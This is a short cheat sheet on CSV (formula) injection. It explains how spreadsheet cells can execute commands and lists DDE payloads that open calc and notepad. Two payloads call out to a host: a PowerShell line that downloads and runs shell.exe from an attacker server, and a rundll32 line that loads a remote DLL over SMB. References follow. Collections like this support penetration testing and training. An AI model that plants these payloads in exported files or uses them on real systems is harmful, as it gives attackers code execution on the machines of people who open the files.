# CSV Injection (Formula Injection)

Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.

## Exploit

Basic exploit with Dynamic Data Exchange

```powershell
# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0

# pop a notepad
=cmd|' /C notepad'!'A1'

# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```

Technical Details of the above payload:

- `cmd` is the name the server can respond to whenever a client is trying to access the server
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data

Any formula can be started with

```powershell
=
+
–
@
```

## References

* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)
* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/)
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)